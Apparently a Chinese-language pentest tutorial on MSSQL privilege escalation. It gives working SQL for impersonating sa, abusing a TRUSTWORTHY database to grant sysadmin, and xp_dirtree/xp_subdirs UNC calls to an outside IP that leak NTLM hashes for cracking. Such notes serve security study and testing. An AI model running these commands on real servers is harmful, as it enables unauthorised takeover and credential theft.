MSSQL提权
权限提升很关键的一个角色是 SA
注意:在安装过程中如果选择 Windows Authentication Mode ,默认禁用sa 登录
1. MSSQL提权
EXECUTE AS允许用户将会话的 execution context 切换到另外一个用户(实际就是impersonate),可以使用REVERT切换回上下文
1.1. 模拟登录
1.1.1. 枚举当前用户可以模拟的对象
枚举当前用户可以模拟的对象
SELECT name FROM sys.server_permissions
JOIN sys.server_principals
ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';
MSSQL Server仅会返回我们当前登录账户可访问的信息
1.1.2. 模拟用户SA
EXECUTE AS LOGIN = 'sa';
然后我们可以使用REVERT切回原来的用户
1.2. 信任数据库 TRUSTWORTHY
MSSQL Server 数据库具有一个名为 TRUSTWORTHY 的属性,该属性指示 MSSQL Server 是否应信任该数据库及其中的内容。默认关闭, sysadmin 角色的用户可以开关这个属性
如果某个数据库被标记为 TRUSTWORTHY,且可以控制一个数据库级别的 db_owner,那么就可能将服务器级 sysadmin 角色分配给任意登录名
1.2.1. 查询数据库角色和对应的成员
USE webshop;
SELECT b.name, c.name
FROM webshop.sys.database_role_members a
JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;
1.2.2. 枚举用户是否为dbo
我们模拟ws_user用户,看看是不是数据库的管理员
USE webshop;
EXECUTE AS LOGIN = 'ws_user';
SELECT IS_ROLEMEMBER('db_owner');
1.2.3. 为ws_dev用户分配sysadmin角色
发现是数据库级别的dbo权限,我们可以分配给其他用户 服务器级别的sysadmin角色
CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin'
GO
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;
WITH EXECUTE AS OWNER:这是漏洞利用的关键点,它会以此存储过程的owner身份运行命令,如果这个数据库的所有者是SA,那么就可以SA的角色运行命令
1.2.4. 查询是否修改角色成功
REVERT;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
ws_dev已经提升至管理员权限
1.3. UNC 路径注入
通过Responder捕获NTLM身份验证,然后破解哈希
提供了下面三个存储过程:
xp_fileexist:检查某个文件是否存在xp_dirtree:基于提供的目录返回目录树xp_subdirs:返回所提供目录的子目录列表
EXEC xp_subdirs '\\10.10.16.159\share';
EXEC xp_dirtree '\\10.10.16.159\share';
EXEC xp_subdirs '\\10.10.16.159\share';
然后破解哈希即可







